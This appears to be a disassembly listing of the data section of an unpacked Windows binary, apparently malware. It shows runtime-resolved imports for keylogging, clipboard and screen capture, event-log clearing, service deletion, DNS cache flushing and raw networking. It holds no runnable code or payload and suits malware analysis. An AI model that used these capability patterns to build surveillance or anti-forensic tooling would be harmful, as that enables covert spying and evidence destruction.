dword_4D656C dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_4076E5+8A4r ...
dword_4D6570 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4D6574 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_4076E5+8B4r ...
dword_4D6578 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_4076E5+6D0r ...
dword_4D657C dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_4076E5+CAr ...
dword_4D6580 dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEchodword_4D6584 dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4076E5+A95w ...
dword_4D6588 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4076E5+F2r
dword_4D658C dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_4076E5+4D3r ...
dword_4D6590 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_40A4FF+20r ...
dword_4D6594 dd 5B8A3009h ; sub_4076E5+A33r
dword_4D6598 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4076E5+754r ...
dword_4D659C dd 5B869A3Ah dword_4D65A0 dd 71B25099h ; sub_4098A5+16o ...
dword_4D65A4 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_4076E5+86Dr ...
dword_4D65A8 dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_411DBC+15r
dword_4D65AC dd 5B868E65h ; sub_4076E5+A1Br ...
dword_4D65B0 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_4076E5+3D7r ...
dword_4D65B4 dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_4076E5+3DFr ...
dword_4D65B8 dd 73B81E3Bh ; sub_4076E5+C8Cr ...
dword_4D65BC dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_4D65C0 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_401300+23r ...
dword_4D65C4 dd 77F16C0Ah ; resolved to->GDI32.DeleteObject ; sub_40FC06+207r
dword_4D65C8 dd 5B894541h ; sub_4076E5+A4Br ...
dword_4D65CC dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4076E5+2B2w ...
dword_4D65D0 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4076E5+DAr ...
dword_4D65D4 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_401C87+4533r ...
dword_4D65D8 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_401C87+411Fr ...
dword_4D65DC dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_4076E5+890r ...
dword_4D65E0 dd 5B897BE9h ; sub_4076E5+A23r
dword_4D65E4 dd 74344AE7h ; sub_4076E5+C3Fr ...
dword_4D65E8 dd 77DF64A0h ; resolved to->ADVAPI32.OpenEventLogA ; sub_411F66+47r
dword_4D65EC dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_4D65F0 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4076E5+92Er
dword_4D65F4 dd 74327E4Dh dword_4D65F8 dd 77E0C4B8h ; resolved to->ADVAPI32.ClearEventLogA ; sub_411F66+4Fr
dword_4D65FC dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_4076E5+6E8r ...
dword_4D6600 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_4076E5+873r
dword_4D6604 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; sub_4076E5+23Cr
dword_4D6608 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_4076E5+1C2r ...
dword_4D660C dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_401C87+46E9r ...
dword_4D6610 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_401C87+41A9r ...
dword_4D6614 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_4076E5+6DCr
dword_4D6618 dd 0CC0004h ; sub_4076E5:loc_407FDEw ...
dword_4D661C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4076E5+28Bw ...
dword_4D6620 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4076E5+69Fw ...
dword_4D6624 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4076E5+341r ...
dword_4D6628 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4076E5+3EFr ...
dword_4D662C dd 743452A3h ; sub_4076E5+C37r ...
dword_4D6630 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_4076E5+888r ...
dword_4D6634 dd 7E41F3B3h ; resolved to->USER32.GetAsyncKeyState ; sub_4076E5+227r
dword_4D6638 dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_4076E5+1D2r ...
dword_4D663C dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_4076E5+898r ...
dword_4D6640 dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_4076E5+774r ...
dword_4D6644 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4076E5+2BFw ...
dword_4D6648 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_4076E5+79Cr ...
dword_4D664C dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_4076E5+334r ...
dword_4D6650 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_4076E5+784r ...
dword_4D6654 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_4076E5+4AEr ...
dword_4D6658 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_4076E5+1DAr ...
dword_4D665C dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4076E5+3BAr ...
dword_4D6660 dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4D6664 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4076E5+748r ...
dword_4D6668 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_401C87+415Br ...
dword_4D666C dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_4076E5+C2r ...
dword_4D6670 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_4076E5+4CBr ...
dword_4D6674 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_4076E5+1BAr ...
dword_4D6678 dd 5B8A5199h ; sub_4076E5+A5Br ...
dword_4D667C dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_4076E5+7ACr
dword_4D6680 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_401C87+41BEr ...
dword_4D6684 dd 74343318h ; sub_4076E5+C47r ...
dword_4D6688 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4076E5+BAr ...
dword_4D668C dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4076E5+298w ...
dword_4D6690 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_4076E5+78Cr ...
dword_4D6694 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_4076E5+77Cr ...
dword_4D6698 dd 73B81B0Fh ; sub_4076E5+C92w
dword_4D669C dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_410C53+4C9r ...
dword_4D66A0 dd 0 dword_4D66A4 dd 743527D4h ; sub_4076E5+C22r ...
dword_4D66A8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_401C87+4BDFr ...
dword_4D66AC dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_4076E5+4BBr ...
dword_4D66B0 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_4076E5+4E3r ...
dword_4D66B4 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_4076E5+4C3r ...
dword_4D66B8 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_401C87+41DBr ...
dword_4D66BC dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_4076E5+1E2r ...
dword_4D66C0 dd 5B86AA41h ; sub_4076E5+A53r ...
dword_4D66C4 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_4076E5+1ADr ...
dword_4D66C8 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_4076E5+E2r ...
dword_4D66CC dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_4076E5+764r ...
dword_4D66D0 dd 71B2547Ah ; sub_4076E5+B5Fr
dword_4D66D4 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_413788+55r
dword_4D66D8 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4076E5+2D3r ...
dword_4D66DC dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_4D66E0 dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40879E+D4r
dword_4D66E4 dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4076E5+AE6r ...
dword_4D66E8 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_401C87+413Ar ...
dword_4D66EC dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_401C87+412Cr ...
dword_4D66F0 dd 7432FF6Bh ; sub_4076E5+C2Fr ...
dword_4D66F4 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_401C87+388Er ...
dword_4D66F8 dd 5B867750h ; sub_4076E5+A2Br ...
dword_4D66FC dd 71AC1028h ; resolved to->WS2_32.accept ; sub_4076E5+794r ...
dword_4D6700 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_4019A5+D0r ...
dword_4D6704 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_4076E5+70Cr ...
dword_4D6708 dd 71B2578Ch ; sub_4076E5+B57r
dword_4D670C dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_4076E5+6C4r
dword_4D6710 dd 71B2517Fh ; sub_4076E5+B4Ar
dword_4D6714 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_4076E5+31w ...
dword_4D6718 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_4076E5+1CAr ...
dword_4D671C dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4076E5+93Br
dword_4D6720 dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_4076E5+EAr ...
dword_4D6724 dd 0 ; sub_4076E5+12Bw ...
dword_4D6728 dd 0 ; sub_4083A1+1Cr
dword_4D672C dd 0 ; sub_4076E5:loc_40793Aw ...
dword_4D6730 dd 0 ; sub_4083A1+50r
dword_4D6734 dd 0 ; sub_401C87+2DD1r ...
dword_4D6738 dd 0 ; sub_4083A1+84r
dword_4D673C dd 0 ; sub_4083A1:loc_408451r
dword_4D6740 dd 0 ; sub_4083A1+B8r
dword_4D6744 dd 0 ; sub_4083A1:loc_408485r
dword_4D6748 dd 0 ; sub_4083A1+ECr
dword_4D674C dd 0 ; sub_4076E5+8EFw ...
dword_4D6750 dd 0 ; sub_4083A1+120r
dword_4D6754 dd 0 ; sub_4083A1:loc_4084EDr
dword_4D6758 dd 0 ; sub_4083A1+154r
dword_4D675C dd 0 ; sub_4076E5:loc_408155w ...
dword_4D6760 dd 0 ; sub_4083A1+188r
dword_4D6764 dd 0 ; sub_4083A1:loc_408555r
dword_4D6768 dd 0 ; sub_4083A1+1BCr
dword_4D676C dd 0 ; sub_4083A1:loc_408589r
dword_4D6770 dd 0 ; sub_4083A1+1F0r
dword_4D6774 dd 0 ; sub_4083A1:loc_4085BDr
dword_4D6778 dd 0 ; sub_4083A1+224r
dword_4D677C dd 0 ; sub_4083A1:loc_4085F1r
dword_4D6780 dd 0 ; sub_4083A1+258r
dword_4D6784 dd 0 ; sub_4083A1:loc_408625r
dword_4D6788 dd 0 ; sub_4083A1+28Cr
dword_4D678C dd 0 ; sub_4083A1:loc_408659r
dword_4D6790 dd 0 ; sub_4083A1+2C0r
dword_4D6794 dd 4 dup(0) dword_4D67A4 dd 0 byte_4D67A8 db 0 ; DATA XREF: .data:00408B4Co
byte_4D67A9 db 0 ; DATA XREF: .data:00408B5Ao
byte_4D67AA db 0 ; DATA XREF: .data:00408B81o
byte_4D67AB db 0 ; DATA XREF: .data:00408BD9o
byte_4D67AC db 0 ; DATA XREF: .data:00408BF0o
byte_4D67AD db 0 ; DATA XREF: .data:00408CFCo
byte_4D67AE db 0 ; DATA XREF: .data:00408D54o
byte_4D67AF db 0 ; DATA XREF: .data:00408D6Bo
byte_4D67B0 db 0 ; DATA XREF: .data:004091C1o
byte_4D67B1 db 0 ; DATA XREF: sub_4092B9+33o
word_4D67B2 dw 0 ; DATA XREF: sub_4092B9+63o
byte_4D67B4 db 0 ; DATA XREF: sub_409562+64r
; sub_409562+92w
align 4
dword_4D67B8 dd 0 ; sub_40A547+92w ...
dword_4D67BC dd 0 ; sub_40AA63+D9w ...
dd 7FEh dup(0)
dword_4D87B8 dd 6 dup(0) ; sub_40A84F+129o ...
dword_4D87D0 dd 0 ; sub_40A01B+34Do
dword_4D87D4 dd 0 ; sub_40A01B+35Fr
dword_4D87D8 dd 0 dword_4D87DC dd 0 ; sub_40A01B+320r
dword_4D87E0 dd 20h dup(0) ; sub_40A01B+307o
dword_4D8860 dd 0 dword_4D8864 dd 0 ; sub_40A01B+311w
dword_4D8868 dd 0 align 10h
dword_4D8870 dd 0 ; sub_40A01B+FEo
dword_4D8874 dd 41h dup(0) dword_4D8978 dd 41h dup(0) dword_4D8A7C dd 0 ; sub_40A01B+110r
dword_4D8A80 dd 0 dword_4D8A84 dd 0 ; sub_40A01B+D1r
dword_4D8A88 dd 20h dup(0) ; sub_40A01B+B7o
dword_4D8B08 dd 0 dword_4D8B0C dd 0 ; sub_40A01B+C1w
dword_4D8B10 dd 0 align 8
dword_4D8B18 dd 0 ; sub_40A01B+226o
dword_4D8B1C dd 41h dup(0) dword_4D8C20 dd 41h dup(0) dword_4D8D24 dd 0 ; sub_40A01B+238r
dword_4D8D28 dd 0 dword_4D8D2C dd 0 ; sub_40A01B+1F9r
dword_4D8D30 dd 20h dup(0) ; sub_40A01B+1DFo
dword_4D8DB0 dd 0 dword_4D8DB4 dd 0 ; sub_40A01B+1E9w
dword_4D8DB8 dd 0 align 10h
dword_4D8DC0 dd 0 ; sub_40A01B+467o
dword_4D8DC4 dd 0A2h dup(0) dword_4D904C dd 41h dup(0) dword_4D9150 dd 0 ; sub_40A01B+41Ar
align 8
dword_4D9158 dd 0 ; sub_40A01B+479r
dword_4D915C dd 0 dword_4D9160 dd 0 dword_4D9164 dd 0 dd 0
dword_4D916C dd 0 dword_4D9170 dd 0 ; sub_409C6D+31r ...
dword_4D9174 dd 0 ; sub_409C6D+25r ...
dword_4D9178 dd 80h dup(0) dword_4D9378 dd 2 dup(0) byte_4D9380 db 2 dup(0) ; DATA XREF: sub_40B0E9+13o
word_4D9382 dw 0 ; DATA XREF: sub_40B92D+10o
byte_4D9384 db 0 ; DATA XREF: .data:0040C421r
byte_4D9385 db 3 dup(0) ; DATA XREF: .data:0040C446o
; .data:0040C9DEo
dword_4D9388 dd 0 ; sub_40CC69+BCo ...
dword_4D938C dd 0 ; sub_40CC69+DAr ...
dword_4D9390 dd 0 ; sub_40CC69+CFr ...
dword_4D9394 dd 0 ; sub_40CC69+95o ...
dword_4D9398 dd 0 ; sub_40CC1E+3Dr ...
dword_4D939C dd 9183h ; sub_40CE3E+10w ...
dword_4D93A0 dd 0 ; sub_40CE55+27Cw
dword_4D93A4 dd 0 ; sub_40D70F+51r ...
dword_4D93A8 dd 0 byte_4D93AC db 0 ; DATA XREF: sub_40F3B8+1EFr
align 10h
dword_4D93B0 dd 1000h dup(0) ; .data:0040FA11o ...
dword_4DD3B0 dd 0 ; .data:0040FA58o ...
dd 6 dup(0)
dword_4DD3CC dd 0 dword_4DD3D0 dd 0 dword_4DD3D4 dd 0Dh dup(0) dword_4DD408 dd 80h dup(0) dword_4DD608 dd 2 dup(0) dword_4DD610 dd 18h dup(0) ; sub_4123A9+131o ...
dword_4DD670 dd 80h dup(0) ; sub_41313B+A5o
dword_4DD870 dd 0 ; sub_412726+4Dr ...
align 8
dword_4DD878 dd 18h dup(0) ; sub_413007+12Do
dword_4DD8D8 dd 80h dup(0) ; sub_412667+7Do ...
byte_4DDAD8 db 0 ; DATA XREF: sub_412726+29r
; sub_412726+34w
align 10h
dword_4DDAE0 dd 80h dup(0) ; sub_41297D+88o ...
dword_4DDCE0 dd 80h dup(0) ; sub_412280+50o ...
byte_4DDEE0 db 2 dup(0) ; DATA XREF: .data:00413306o
word_4DDEE2 dw 0 ; DATA XREF: .data:0041331Bo
byte_4DDEE4 db 2 dup(0) ; DATA XREF: .data:00413322o
word_4DDEE6 dw 0 ; DATA XREF: .data:0041333Eo
byte_4DDEE8 db 2 dup(0) ; DATA XREF: .data:00413353o
word_4DDEEA dw 0 ; DATA XREF: .data:0041335Ao
dword_4DDEEC dd 0 ; sub_413C57+54r ...
dword_4DDEF0 dd 0 ; sub_413C57+37r ...
dword_4DDEF4 dd 0 ; sub_413DAC+83o
dword_4DDEF8 dd 0 ; sub_413DAC+11Bw
dword_4DDEFC dd 0Dh dup(0) ; sub_413DAC:loc_413EEDo
dword_4DDF30 dd 0 ; sub_413C57+ECr ...
byte_4DDF34 db 0 ; DATA XREF: sub_413BD0+9o
byte_4DDF35 db 0 ; DATA XREF: sub_413DAC+DFo
word_4DDF36 dw 0 ; DATA XREF: sub_413DAC:loc_413EE8o
dword_4DDF38 dd 0Ch dup(0) db 2 dup(0)
word_4DDF6A dw 0 ; DATA XREF: sub_4147AC+13o
dword_4DDF6C dd 931E90h ; sub_415640:loc_415A7Br ...
dword_4DDF70 dd 27F2h ; sub_4151D0+21Cw ...
dword_4DDF74 dd 9324A8h ; sub_4151D0+252r ...
dword_4DDF78 dd 1B5Fh ; sub_4151D0+22Aw ...
dword_4DDF7C dd 1F72h ; sub_4151D0+243w ...
dword_4DDF80 dd 0 dword_4DDF84 dd 0A28h ; sub_416900:loc_4169DDr ...
dword_4DDF88 dd 501h dword_4DDF8C dd 5 ; sub_41AB00+55r
dword_4DDF90 dd 1 ; sub_41AB00+5Er
dword_4DDF94 dd 1 ; sub_427D30+C6w
dword_4DDF98 dd 933120h ; sub_401404+30Cr ...
align 10h
dword_4DDFA0 dd 933168h ; sub_427BE0+81r ...
dword_4DDFA4 dd 0 dword_4DDFA8 dd 0 ; sub_432830+6r ...
align 10h
off_4DDFB0 dd offset aCM_unpackerPac ; DATA XREF: sub_427D30+26w
; sub_427D30+3Cr
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4DDFB8 db 0 ; DATA XREF: sub_417B70+30w
; sub_41AE00+8r
align 4
dword_4DDFBC dd 0 dword_4DDFC0 dd 0 ; sub_417B70:loc_417C3Bw
dword_4DDFC4 dd 0 ; sub_417B70+AFw
dword_4DDFC8 dd 0 ; .data:0041990Fw
dword_4DDFCC dd 0 dword_4DDFD0 dd 0 ; sub_427BE0+1Br ...
align 8
dword_4DDFD8 dd 0 ; sub_41ACA0+3r ...
dword_4DDFDC dd 0 ; sub_4201D0+2CEw ...
dword_4DDFE0 dd 0 ; resolved to->USER32.wsprintfA ; sub_41B010+C8w ...
dword_4DDFE4 dd 0 ; sub_4150C0+10r ...
dword_4DDFE8 dd 0 ; .data:0041BB49w ...
align 10h
dword_4DDFF0 dd 144820h, 0FFFFFFFFh, 4 dup(0)dword_4DE008 dd 1447A8h, 0FFFFFFFFh, 4 dup(0)dword_4DE020 dd 1447F8h, 0FFFFFFFFh, 4 dup(0)dword_4DE038 dd 1447D0h, 0FFFFFFFFh, 4 dup(0)dword_4DE050 dd 0 ; sub_41E9B0+93w ...
dword_4DE054 dd 1 ; sub_421E40+3w ...
dword_4DE058 dd 0 ; sub_4226D0+C9w ...
align 10h
dword_4DE060 dd 0 ; sub_4271E0+140o
word_4DE064 dw 0 ; DATA XREF: sub_4271E0+E8r
align 4
dword_4DE068 dd 0 ; sub_4271E0+159o
dword_4DE06C dd 0 ; sub_426F40+DDw ...
dd 0
dword_4DE074 dd 0 ; sub_41A730+6r ...
dword_4DE078 dd 0 dword_4DE07C dd 0 dword_4DE080 dd 0 dword_4DE084 dd 0 ; sub_41A910+16Cr ...
dword_4DE088 dd 0 dword_4DE08C dd 1 ; sub_4275A0+4Bw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_427D30+19o
; sub_427D30+26o ...
align 4
dd 3Ah dup(0)
dword_4DE194 dd 1 ; sub_428240+2Cw ...
dword_4DE198 dd 0 ; sub_428830+34r
dword_4DE19C dd 0 ; .data:00428F22w ...
dword_4DE1A0 dd 0 ; .data:00428F35w ...
dword_4DE1A4 dd 0 ; .data:00428F49w ...
dword_4DE1A8 dd 0 ; .data:00428F5Cw ...
dword_4DE1AC dd 0 ; .data:00428EC5w
dword_4DE1B0 dd 0 ; resolved to->USER32.MessageBoxA ; sub_4293F0+39w ...
dword_4DE1B4 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_4293F0:loc_429463r ...
dword_4DE1B8 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_4293F0+8Br ...
dword_4DE1BC dd 1 ; sub_429B60+46w ...
dword_4DE1C0 dd 0 dword_4DE1C4 dd 77C2807Ch ; sub_42A4F0+37r ...
dword_4DE1C8 dd 0 ; sub_42BD70+86r ...
dword_4DE1CC dd 0 ; sub_42C6F0+93r ...
dword_4DE1D0 dd 0 ; sub_42C6F0+A3r ...
dword_4DE1D4 dd 0 ; sub_42C6F0+7Cr ...
dword_4DE1D8 dd 0 ; .data:0042CAD1r ...
dword_4DE1DC dd 0 ; .data:0042D135r ...
dword_4DE1E0 dd 0 ; .data:0042D157r ...
dword_4DE1E4 dd 3 dup(0) ; sub_426F40+F3o
word_4DE1F0 dw 0 ; DATA XREF: .data:0042CEB6r
align 8
word_4DE1F8 dw 0 ; DATA XREF: sub_42CB50+Fr
align 4
db 2 dup(0)
word_4DE1FE dw 0 ; DATA XREF: sub_42C6F0+Fr
db 2 dup(0)
word_4DE202 dw 0 ; DATA XREF: sub_42BE50+Fr
word_4DE204 dw 0 ; DATA XREF: sub_42BE50+1Ar
align 4
dword_4DE208 dd 0 ; sub_42D2B0+176r ...
dword_4DE20C dd 0 ; sub_42D600+1Br ...
dword_4DE210 dd 0 ; sub_42D600+101r ...
dword_4DE214 dd 0 ; sub_42D540+47r ...
dword_4DE218 dd 0 ; sub_42D2B0+4Br ...
dword_4DE21C dd 0 ; sub_42D2B0+80r ...
dword_4DE220 dd 0 ; sub_42D2B0:loc_42D3BEr ...
dword_4DE224 dd 0 ; sub_42D2B0+1CBr ...
dword_4DE228 dd 0 ; sub_42D2B0+2Cw ...
dword_4DE22C dd 0 byte_4DE230 db 0 ; DATA XREF: sub_430D00+18Fo
; sub_430D00+1F2r ...
align 8
dword_4DE238 dd 0 ; .data:off_44836Co ...
dword_4DE23C dd 0 ; sub_430FA0+46w ...
dword_4DE240 dd 0 ; sub_431AB0+6Dw ...
align 8
dword_4DE248 dd 0 ; sub_431AB0+77r
dword_4DE24C dd 10h dup(0) word_4DE28C dw 0 ; DATA XREF: sub_431E90+FCr
word_4DE28E dw 0 ; DATA XREF: sub_431AB0+88r
; sub_431E90+145r ...
word_4DE290 dw 0 ; DATA XREF: sub_431E90+132r
word_4DE292 dw 0 ; DATA XREF: sub_431E90+13Br
; sub_431E90+18Br
word_4DE294 dw 0 ; DATA XREF: sub_431E90+126r
; sub_431E90+181r
word_4DE296 dw 0 ; DATA XREF: sub_431E90+11Cr
; sub_431E90+177r
word_4DE298 dw 0 ; DATA XREF: sub_431E90+113r
; sub_431E90+16Er
word_4DE29A dw 0 ; DATA XREF: sub_431E90+109r
; sub_431E90+164r
dword_4DE29C dd 0 ; sub_431AB0+CEr
dword_4DE2A0 dd 10h dup(0) word_4DE2E0 dw 0 ; DATA XREF: sub_431E90+43r
word_4DE2E2 dw 0 ; DATA XREF: sub_431AB0+ABr
; sub_431E90+8Cr ...
word_4DE2E4 dw 0 ; DATA XREF: sub_431E90+79r
word_4DE2E6 dw 0 ; DATA XREF: sub_431E90+82r
; sub_431E90+D2r
word_4DE2E8 dw 0 ; DATA XREF: sub_431E90+6Dr
; sub_431E90+C8r
word_4DE2EA dw 0 ; DATA XREF: sub_431E90+63r
; sub_431E90+BEr
word_4DE2EC dw 0 ; DATA XREF: sub_431E90+5Ar
; sub_431E90+B5r
word_4DE2EE dw 0 ; DATA XREF: sub_431E90+50r
; sub_431E90+ABr
dword_4DE2F0 dd 0 ; sub_431AB0+C9r
dword_4DE2F4 dd 0 ; sub_431AB0+196r ...
dword_4DE2F8 dd 0 ; sub_431A50+16r ...
dword_4DE2FC dd 0 ; sub_432390+41w ...
dword_4DE300 dd 0 ; sub_432530+41w ...
dword_4DE304 dd 0 ; sub_4328E0+4Bw ...
byte_4DE308 db 1 ; DATA XREF: sub_40C15Ar sub_40C15A+9w
align 4
dword_4DE30C dd 0 ; sub_42FE80+A5w ...
dword_4DE310 dd 0 ; sub_430010+1EDw ...
align 10h
dword_4DE320 dd 931F58h ; sub_41ACD0+109r ...
dd 3Fh dup(0)
dword_4DE420 dd 20h ; sub_41FCF0+7r ...
dword_4DE424 dd 0 ; sub_41A890+11r ...
dword_4DE428 dd 0 ; sub_41A690+3Bo ...
dword_4DE42C dd 4E4h ; sub_421AF0+14Aw ...
word_4DE430 dw 0 ; DATA XREF: sub_421AF0+19Aw
; sub_421AF0+2F3w ...
align 4
dd 2 dup(0)
dword_4DE43C dd 0 ; sub_421AF0+2C2w ...
byte_4DE440 db 0 ; DATA XREF: sub_421FA0+1CEw
; sub_421FA0+21Aw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DE540 db 0 ; DATA XREF: sub_421AF0+ABw
; sub_421AF0+1F4w ...
byte_4DE541 db 0 ; DATA XREF: sub_417F80+92r
; sub_421AF0+129r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DE644 dd 0 ; sub_421AF0+205w ...
dword_4DE648 dd 930000h ; sub_416900+FBr ...
dword_4DE64C dd 1 ; sub_416900:loc_41699Er ...
dword_4DE650 dd 0 ; sub_41D6D0+9r ...
dword_4DE654 dd 0 ; sub_41CBB0+4B3r ...
dword_4DE658 dd 0 ; sub_41CBB0+5C1w ...
align 10h
dword_4DE660 dd 0 ; sub_41CBB0+477r ...
dword_4DE664 dd 0 ; sub_41CAF0+6r ...
dword_4DE668 dd 0 ; sub_41CA80+1Br ...
dword_4DE66C dd 0 ; sub_41C020+6Dr ...
dword_4DE670 dd 0 ; .data:0041AFFFw ...
dword_4DE674 dd 9324C8h ; sub_41ACD0+4Dr ...
align 10h
dword_4DE680 dd 400h dup(0) ; .data:00444EE0o
dword_4DF680 dd 200h ; sub_41ACD0+Dw ...
dword_4DF684 dd 142340h ; sub_427B20:loc_427B32r ...
dword_4DF688 dd 1 ; sub_432710+Er
dword_4DF68C dd 1 ; sub_4222D0+16w ...
dword_4DF690 dd 93241Ch ; sub_419EA0+19r ...
dword_4DF694 dd 932410h ; sub_417B70+5Ar ...
dword_4DF698 dd 0 ; .data:00416B6Fw ...
byte_4DF69C db 1 ; DATA XREF: sub_4336F0+5r
; sub_4336F0+11r ...
align 10h
dd 258h dup(0)
dd 0E0270h, 2 dup(0)
dd 0E0540h, 0E04D8h, 0E0288h, 2 dup(0)
dd 0E054Ch, 0E04F0h, 0E0278h, 2 dup(0)
dd 0E059Ah, 0E04E0h, 0E0064h, 2 dup(0)
dd 0E0ECEh, 0E02CCh, 5 dup(0)
dd 0E0968h, 0E0EB4h, 0E0EA2h, 0E0E90h, 0E0E7Eh, 0E0E64h
dd 0E0E54h, 0E0E3Eh, 0E0E28h, 0E0E16h, 0E0E06h, 0E0DF6h
dd 0E0DD8h, 0E0DC6h, 0E0DB4h, 0E0DA0h, 0E0D90h, 0E0D78h
dd 0E0D6Ah, 0E0D58h, 0E0D3Eh, 0E0D26h, 0E0D0Ch, 0E05A6h
dd 0E05B4h, 0E05C2h, 0E05D4h, 0E05EAh, 0E0600h, 0E0608h
dd 0E0618h, 0E0626h, 0E0634h, 0E064Ah, 0E065Ah, 0E0666h
